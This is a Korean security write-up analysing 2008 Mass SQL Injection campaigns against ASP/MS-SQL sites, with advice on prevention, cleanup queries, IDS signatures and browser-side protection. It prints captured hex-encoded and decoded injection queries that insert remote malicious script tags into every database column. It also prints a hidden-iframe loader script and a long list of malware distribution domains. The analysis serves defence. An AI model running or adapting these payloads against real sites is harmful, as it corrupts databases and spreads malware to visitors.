Mass SQL Injection by visu4l ( kchclub3@wowhacker.org )
Table of Contents 1st. 개요 1. 배경 2. 공격대상시스템 3. 소개 2nd. 공격형태 1. 공격쿼리 2. 로그분석 3. 공격형태도식화 3rd. 공격피해사이트확인 4th. 대응 1. 사전대응 2. 사후대응 3. IDS/IPS 탐지 4. 사용자대응 5th. 마치며 6th. 참고자료 7th. 악성코드유포지사이트리스트
1st. 개요 A. 배경 2008 년 7 월 Mass SQL Injection 에대해처음보게되었습니다. 그리고이공격의파워가 (?) 느껴져 Mass SQL Injection 에대해깊이알아보게되었다. 2008 년 4 월초부터전세계 130 만개이상의웹사이트에악성코드를유포하는 SQL Injection 공격코드가숨어있는것이밝혀져최근가장큰이슈가되고있었다. 언론에알려진것은 4 월이지만, 보안전문가들사이에서는 08 년초부터언급되고있었다. 이후국가사이버안전센터 ( 이하 NCSC) 에서도 5 월 19 일 Mass SQL Injection 에대한보안권보문을발표하였다. 그리고 2 개월이지난후에이공격을직접받아보면서심각성을알게되었다. 이문서에서는 Mass SQL Injection 공격에대한분석과변화, 대응방안에대하여설명을하였다. < 그림 1> 출처 NCSC 보안권고문
B. 공격대상시스템 Mass SQL Injection 공격은 IIS 환경의 MS-SQL 을사용중인 ASP 기반웹애들리케이션을 주요공격대상으로한다. C. 소개 SQL Injection 공격에서확장된개념이다. 한번의공격으로대량의 DB 값이변조되는치명적인공격이다. SQL Injection 탐지패턴을우회하기위해 CAST 함수를이용해쿼리문을 Encoding 탐지우회를시도한다 DB 값을변조시악성스크립트를삽입하여, 사용자들이변조된사이트를방문시감염되거나 bot 이설치되어해킹및 DDOS 공격에이용이가능하다
2nd. 공격형태 A. 공격쿼리아래에두가지형태에공격쿼리가있다. Mass SQL Injection 공격은대부분 SQL Injection 탐지패턴을우회하기위하여 CAST 함수를이용해쿼리문을인코팅한다. DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205 641524348415228323535292C404320564152434841522832353529204445434C4152452 05461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616 D652C622E6E616D652046524F4D207379736F626A6563747320612C73797363 - 중략 87474703A2F2F7777772E61647570642E6D6F62692F622E6A733E3C2F7363726970743E 27272729204645544348204E4558542046524F4D205461626C655F437572736F7220494E 544F2040542C404320454E4420434C4F5345205461626C655F437572736F72204445414 C4C4F43415445205461626C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@ S);-- < 일반적인 HEX 인코딩된공격쿼리 > 좀더변화된쿼리로 HEX 인코딩된쿼리사이에 00 값을넣어좀더인지하기어렵게 만들어놓는다. DECLARE%20@S%20NVARCHAR(4000);SET%20@S=CAST(0 4400450043004C00410 05200450020004000540020007600610072006300680061007200280032003500350029 002C0040004300200076006100720063006800610072002800320035003500290020004 400450043004C004100520045002000540061006 - 중략 04F005300450020005400610062006C0065005F0043007500720073006F00720020004 400450041004C004C004F00430041005400450020005400610062006C0065005F00430 07500720073006F007200%20AS%20NVARCHAR(4000));EXEC(@S); < 변형된공격쿼리 >
B. 로그분석 다음로그는실제공격로그이다. DECLARE%20@S%20VARCHAR(4000);SET%20@S=CAST(0x4445434C415245204054205 641524348415228323535292C404320564152434841522832353529204445434C4152452 05461626C655F437572736F7220435552534F5220464F522053454C45435420612E6E616 D652C622E6E616D652046524F4D207379736F626A6563747320612C737973636F6C756 D6E73206220574845524520612E69643D622E696420414E4420612E78747970653D2775 2720414E442028622E78747970653D3939204F5220622E78747970653D3335204F522062 2E78747970653D323331204F5220622E78747970653D31363729204F50454E205461626 C655F437572736F72204645544348204E4558542046524F4D205461626C655F437572736 F7220494E544F2040542C4043205748494C4528404046455443485F5354415455533D302 920424547494E20455845432827555044415445205B272B40542B275D20534554205B27 2B40432B275D3D525452494D28434F4E5645525428564152434841522834303030292C5 B272B40432B275D29292B27273C736372697074207372633D687474703A2F2F7777772E 61647570642E6D6F62692F622E6A733E3C2F7363726970743E272727292046455443482 04E4558542046524F4D205461626C655F437572736F7220494E544F2040542C40432045 4E4420434C4F5345205461626C655F437572736F72204445414C4C4F434154452054616 26C655F437572736F7220%20AS%20VARCHAR(4000));EXEC(@S);-- 로그를분석하기위해먼저 HEX 값으로 Decoding 한다. 다음과같은 SQL 쿼리가나타난다. DECLARE @S VARCHAR(4000);SET @S=DECLARE @T VARCHAR(255),@C VARCHAR(255) DECLARE Table_Cursor CURSOR FOR SELECT a.name,b.name FROM sysobjects a,syscolumns b WHERE a.id=b.id AND a.xtype='u' AND (b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''<script src=http://www.adupd.mobi/b.js></script>''') FETCH NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_Cursor AS VARCHAR(4000);EXEC(@S);--
이구문은테이블에서테이블의 SQL sysobject type U(user) 테이블의모든 row 를 가져오는것이다. 모든컬럼을 varchar(4000) 으로형식을바꾸고커서를활용하여각오브젝트에 http://www.adupd.mobi/b.js 사이트주소코드를추가하도록업데이트명령을실행시키는일반적인구문이다. 그렇기때문에공격이성공한다면불려진 db 안에 data 는모두알수없는사이트로변경된다. b.js 파일을보면 iframe 을이용하여또다른페이지를삽입하고있다. 다음에기회가된다면 iframe 을통해삽입하려던페이지도분석해보겠다. window.status=""; var cookiestring = document.cookie; var start = cookiestring.indexof("updatebng="); if(start!= -1){}else{ var expires = new Data(); expires.settime(expires.gettime()+12*1*60*60*1000); document.cookie = "updatebng=update;expires="+expires.togmtstring(); try{ document.write("<iframe src=http://kadport.com/cgi-bin/index.cgi?ad width=0 height=0 frameborder=0></iframe>"); } catch(e) { }; } <www.adupd.mobi/b.js> 현재는약간변형된형태의공격쿼리삽입시도도이루어지고있다. 다음쿼리를보자
DECLARE%20@S%20CHAR(4000);SET%20@S=CAST(0x4445434C4152452040542076 61726368617228323535292C40432076617263686172283430303029204445434C41524 5205461626C655F437572736F7220435552534F5220464F522073656C65637420612E6 E616D652C622E6E616D652066726F6D207379736F626A6563747320612C737973636F 6C756D6E73206220776865726520612E69643D622E696420616E6420612E7874797065 3D27752720616E642028622E78747970653D3939206F7220622E78747970653D333520 6F7220622E78747970653D323331206F7220622E78747970653D31363729204F50454E 205461626C655F437572736F72204645544348204E4558542046524F4D20205461626C 655F437572736F7220494E544F2040542C4043205748494C4528404046455443485F53 54415455533D302920424547494E20657865632827757064617465205B272B40542B27 5D20736574205B272B40432B275D3D5B272B40432B275D2B2727223E3C2F7469746C 653E3C736372697074207372633D22687474703A2F2F73646F2E313030306D672E636 E2F63737273732F772E6A73223E3C2F7363726970743E3C212D2D2727207768657265 20272B40432B27206E6F74206C696B6520272725223E3C2F7469746C653E3C7363726 97074207372633D22687474703A2F2F73646F2E313030306D672E636E2F6373727373 2F772E6A73223E3C2F7363726970743E3C212D2D272727294645544348204E4558542 046524F4D20205461626C655F437572736F7220494E544F2040542C404320454E44204 34C4F5345205461626C655F437572736F72204445414C4C4F43415445205461626C655 F4%20CHAR(4000));EXEC(@S); 디코딩하면다음과같다 DECLARE @S CHAR(4000);SET @S=DECLARE @T varchar(255),@c varchar(4000) DECLARE Table_Cursor CURSOR FOR select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) OPEN Table_Cursor FETCH NEXT FROM Table_Cursor INTO @T,@C WHILE(@@FETCH_STATUS=0) BEGIN exec('update ['+@T+'] set ['+@C+']=['+@C+']+''"></title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--'' where '+@C+' not like ''%"></title><script src="http://sdo.1000mg.cn/csrss/w.js"></script><!--''')fetch NEXT FROM Table_Cursor INTO @T,@C END CLOSE Table_Cursor DEALLOCATE Table_B CHAR(4000);EXEC(@S); 처음에보았던쿼리형태와달라진부분은 "></titile> 이추가되었다. 처음에보았던부분과다른점은 "> 추가로 <input name="test" value=" "> 와같은곳에 test 의값으로삽입될때, 기존스크립트는단지 value 값으로스크립트가실행이되지않지만 > 의추가로 value 값이정상적으로닫히고 script 가삽입되게된다.
C. 공격형태도식화공격의형태를보면 SQL Injection 을통해 DB 에원하는스크립트를업데이트한다. 그리고나서일반사용자가공격당한서버에서스크립트가담긴페이지를불러오게되면해당스크립트가실행하게되고스크립트는악성코드가있는사이트를 iframe 을사용해삽입하게된다. 그리고삽입된사이트에접속하여악성프로그램을다운받거나혹은공격자가원하는파일을받게된다. 이런과정을좀더알기쉽게도식화하였다. Web Server HACKER 1Attack!! 3 감염페이지열람 Web Page 5Iframe 삽입 http://xxx.com/ 4 스크립트실행 2<Script src=..> Update VICTIM DB(MS SQL 6 악성프로그램다운로드및실행 (x.exe) http://xxx.com/ x.exe < 그림 2> Mass SQL Injection 도식화
3rd. 피해사이트확인방법 google 검색창에서다음과같이검색 "inurl: 확인하려는사이트악성코드유포사이트 Ex) inurl:abc.com www.sdo.1000mg.cn 혹은 <script src=http:// 를검색하면악성코드가삽입된사이트를검색할수있다. < 그림 3> 스크립트가삽입된사이트
4th. 대응방안 A. 사전대응 Mass SQL Injection 공격을차단하기위해서는웹소스상에서쿼리스트링에대한길이제한적용을해야한다. 또한입력되는부분의문자를모두제한하여예상되는문자이외의문자가들어오면필터링하는방법으로수정이필요하다. 공격쿼리를보면 SYSOBJECTS, SYSCOLUMNS 테이블에서메타정보를획득한다. 위테이블은시스템에서제공하는메타테이블인 SYSCOLUMNS 의 SELECT 권한을 제거하면결과적으로공격쿼리는실패하게된다. 물론서비스되는계정은 SA 가아니어야하고 sysadmin, securityadmin 등의서버권한이전혀없는최소의권한만을가져야한다. 문제는시스템테이블의권한을제거하는것이기때문에 DB 의다양한기능을필요로할경우문제가발생할수있다. 근본적으로는 SP 를사용하거나 ASP 레벨에서 DB 에사용하는특수문자를필터링하는것을권장한다. < 그림 4> 출처 SecurityPlus
B. 사후대응아래쿼리를실행시키면 MASS SQL Injection 로당한 DB 에서악성코드문자열을 제거한다. declare @t varchar(255),@c varchar(255) declare table_cursor cursor for select a.name,b.name from sysobjects a,syscolumns b where a.id=b.id and a.xtype='u' and (b.xtype=99 or b.xtype=35 or b.xtype=231 or b.xtype=167) open table_cursor fetch next from table_cursor into @t,@c while(@@fetch_status=0) begin exec('update [' +@t+ '] set [' +@c+ '] = replace(convert(varchar(8000), [' +@c+ ']), ''<script src=xxx></script>'','''')') fetch next from table_cursor into @t,@c end close table_cursor deallocate table_cursor 굵은폰트부분이 DB 에서지워야하는악성스크립트이다. 굵은폰트부분을 DB 에서지우는쿼리이다. 하지만완전복구는불가능하다 그러므로정기적인 DB 및시스템백업은필수이다.
C. IDS/IPS 탐지룰 IDS 혹은 IPS 같은침입탐지시스템이있다면다음과같은문자열로 Mass SQL Injection 을탐지할수있다. @S =CAST(0x DECALARE @ SET D. 사용자대응 사용자가 Mass SQL Injection 에피해를입은사이트에접속을한경우피해를받지않기 위해서할수있는방법도있다. Internet Explorer Internet Explorer 에서는보안설정에자바스크립트를비활성화를시켜서사용할 수있지만, 선별기능이없어제약이따른다. < 그림 5> Internet Explorer 인터넷옵션 > 보안설정
Firefox 파이어폭스는애드온중에 NoScript( 자바스크립트방지 ) 라는기능을통하여 악성코드의실행을막을수있다. < 그림 6> Noscript http://addons.mozilla.org/ko/firefox/addon/722 < 그림 7> NoScript 옵션
5th. 마치며 지금까지부족한문서를읽어주셔서감사합니다. 몇달동안컴퓨터를사용을못해서이런형태공격도있다는걸반년이지나서야알게되었습니다. 처음이공격을보면서감탄사를표했다. 한번에공격으로수십, 수천어쩌면수만에이르는 pc 에봇을확보할수도있기에더욱멋진것같다. 궁금증이생겨시간이날때마다조금씩공부하면서알게된공격이이렇게보고서까지왔습니다. 그동안제가보고, 듣고, 공격받은자료를모두모아이렇게정리합니다. 필승! 6th. 참고자료 A. URL http://www.ncsc.go.kr http://www.cafe.naver.com/securityplus http://www.f-secure.com/weblog/archives/00001427.html http://modsecurity.org/blog/archives/2008/01/sql_injeciton_a.html http://coderant.egloos.com/4083442 http://isc.sans.org/diary.html?storyid=3823 B. 국내 해외문서 Mass SQL Injection 공격기법과대응방안.pdf -- NSHC mass SQL Injection Analysis.pdf -- SercureCAST China Bot 악성코드분석 -- SK infosec 최신해킹공격동향 - 월간정보보호 21c 보안뉴스
7th. 악성코드유포사이트리스트 sdo.1000mg.cn www.adupd.mobi a.mm861.com www.killwow1.cn www.kisswow.com.cn www.wowgm1.cn www.bannerupd.com computershello.cn winzipices.cn www.ririwow.cn www.dota11.cn 9i5t.cn s.see9.us yl18.net www.chliyi.com nihaorr1.com free.hostpinoy.info xprmn4u.info nmidahena.com sb.5252.ws aspder.com 11910.net bbs.jueduizuan.com bluell.cn 2117966.net xvgaoke.cn 1.hao929.cn 414151.com cc.18dd.net kisswow.com.cn caocaowow.cn qiuxuegm.com firestnamestea.cn qiqi111.cn banner82.com s meisp.cn okey123.cn b.kaobt.cn nihao112.com al.99.vc aidushu.net free.edivid.info 52-o.cn actualization.cn d39.6600.org h28.8800.org ucmal.com t.uc8010.com bc0.cn adword71.com killpp.cn w11.6600.org usuc.us msshamof.com newasp.com.cn wowgm2.cn mm.jsjwh.com.cn 17ge.cn adword72.com 117275.cn free.hostpinoy.info xprmn4u.info www.nmidahena.com www.aspder.com www.11910.net bbs.jueduizuan.com www.bluell.cn www.2117966.net s.see9.us xvgaoke.cn 1.hao929.cn www.414151.com cc.18dd.net yl18.net www.kisswow.com.cn urkb.net c.uc8010.com rnmb.net www.qiqigm.com www.wowyeye.cn 9i5t.cn c11.8866.org computershello.cn www.z008.net b15.3322.org www.direct84.com www.caocaowow.cn www.qiuxuegm.com firestnamestea.cn n.uc8010.com
urkb.net c.uc8010.com rnmb.net qiqigm.com wowyeye.cn z008.net b15.3322.org vb008.cn wow112.cn nihaoel3.com a.13175.com r.you30.cn d39.6600.org 001yl.com www.qiqi111.cn heartgames.cn www.banner82.com smeisp.cn www.nihao112.com direct84.com free.edivid.info * 진하게표시한 site 는한국사이트에특히많이존재하며악성코드유포지사이트에개수는확실히파악하기힘들다.